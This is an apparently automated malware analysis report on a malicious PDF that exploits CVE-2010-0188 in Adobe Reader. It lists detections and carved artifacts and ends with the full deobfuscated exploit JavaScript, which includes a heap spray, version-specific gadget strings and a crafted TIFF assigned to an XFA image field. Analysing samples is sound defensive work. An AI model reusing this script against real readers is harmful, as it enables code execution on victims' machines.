Malicious PDF — malware analysis report

Static analysis result for SHA-256 13f64f7935661b87…

MALICIOUS

PDF

13.3 KB
MD5: f90ea39ff00534bddf7596cf8286241c SHA-1: 8c2624a822cdb64b4c077075453be82661521746 SHA-256: 13f64f7935661b876baeaebbe3229b766799226260ba63b3d1d82b3c4f60003e
186 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains an XFA form and triggers the CVE-2010-0188 exploit, which is known to target Adobe Reader. A deobfuscated JavaScript file was extracted, which likely attempts to download and execute a second-stage payload. The ML classifier and ClamAV detection strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • ClamAV: Pdf.Exploit.Agent-36962 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36962
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • String.fromCharCode low PDF_FROMCHARCODE
    String.fromCharCode found — used to construct payload strings dynamically. Common in benign JavaScript libraries for codepoint manipulation, so this alone is informational; weaponised use is also caught by the dedicated fromCharCode-stage and exploit-shape rules. (matched inside decoded stream)
  • AcroForm button with action trigger low PDF_ACROFORM_BUTTON
    PDF contains a /Btn form field together with a SubmitForm/URI/Launch/JS trigger — this is the building block of fake 'Download' or 'Open' button overlays used in PDF phishing lures
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.xfa.org/schema/xfa-locale-set/2.1/ In PDF document text
    • http://ns.adobe.com/xdp/In PDF document text
    • http://www.xfa.org/schema/xci/1.0/In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.2/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0041.bin
c06dcd026a7ea0536b63e07ce688691b585339a3ab7ff59065e546b56308c7bb
pdf-embedded-file PDF EmbeddedFile object 41 at offset 0x26CB 85 bytes
embedded_file_obj0042.bin
dda0835df994b8be920f715db36452f6cee7bb42bbc9c897f878a7b298ba8e91
pdf-embedded-file PDF EmbeddedFile object 42 at offset 0x277D 1029 bytes
embedded_file_obj0043.bin
d79308b0e06f22ae21b31645f5d8041321f8463367ba683e40e8f49c50313ef4
pdf-embedded-file PDF EmbeddedFile object 43 at offset 0x2996 1667 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
embedded_file_obj0044.bin
3dd68f00f4fcb366a2a3a17c65cb2626eeddf5ea5713302d374310561d810169
pdf-embedded-file PDF EmbeddedFile object 44 at offset 0x2D5C 144 bytes
embedded_file_obj0045.bin
10c03f88a5f0a0833dc5b2c8ac295b3a3c6f65e23889eb8cc1dc6fe29bf7f275
pdf-embedded-file PDF EmbeddedFile object 45 at offset 0x2E08 77 bytes
xfa_metadata_stage_000.js
4a7e0403ed392ad3241ae2457e555b77a0db7ce2becd8a45852a009150f90bb7
deobfuscated-js XFA /keywords base-29 decoded JavaScript (raw) at offset 0xDEB 2181 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
app.alert=event.target.creationDate.replace(/,/g,'');var padding;var bbb, ccc, ddd, eee, fff, ggg, hhh;var pointers_a, i;var x = new Array();var y = new Array();var _l1="4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141"+event.target.creationDate.replace(/,/g,'');var _l2="4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141"+event.target.creationDate.replace(/,/g,'');_l3=app;_l4=new Array();function _l5(){var _l6=_l3.viewerVersion.toString();_l6=_l6.replace('.','');while(_l6.length<4)_l6+='0';return parseInt(_l6,10)}function _l7(_l8,_l9){while(_l8.length*2<_l9)_l8+=_l8;return _l8.substring(0,_l9/2)}function _I0(_I1){_I1=unescape(_I1);roteDak=_I1.length*2;dakRote=unescape('%u9090');spray=_l7(dakRote,0x2000-roteDak);loxWhee=_I1+spray;loxWhee=_l7(loxWhee,524098);for(i=0; i < 400; i++)_l4[i]=loxWhee.substr(0,loxWhee.length-1)+dakRote;}function _I2(_I1,len){while(_I1.length<len)_I1+=_I1;return _I1.substring(0,len)}function _I3(_I1){ret='';for(i=0;i<_I1.length;i+=2){b=_I1.substr(i,2);c=parseInt(b,16);ret+=String.fromCharCode(c);}return ret}function _ji1(_I1,_I4){_I5='';for(_I6=0;_I6<_I1.length;_I6++){_l9=_I4.length;_I7=_I1.charCodeAt(_I6);_I8=_I4.charCodeAt(_I6%_l9);_I5+=String.fromCharCode(_I7^_I8);}return _I5}function _I9(_I6){_j0=_I6.toString(16);_j1=_j0.length;_I5=(_j1%2)?'0'+_j0:_j0;return _I5}function _j2(_I1){_I5='';for(_I6=0;_I6<_I1.length;_I6+=2){_I5+='%u';_I5+=_I9(_I1.charCodeAt(_I6+1));_I5+=_I9(_I1.charCodeAt(_I6))}return _I5}function _j3(){_j4=_l5();if(_j4<9000){_j5='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_j6=_l1;_j7=_I3(_j6)}else{_j5='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_j6=_l2;_j7=_I3(_j6)}_j8='SUkqADggAABB';_j9=_I2('QUFB',10984);_ll0='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';_ll1=_j8+_j9+_ll0+_j5;_ll2=_ji1(_j7,'');if(_ll2.length%2)_ll2+=unescape('%00');_ll3=_j2(_ll2);with({k:_ll3})_I0(k);ImageField1.rawValue=_ll1}_j3();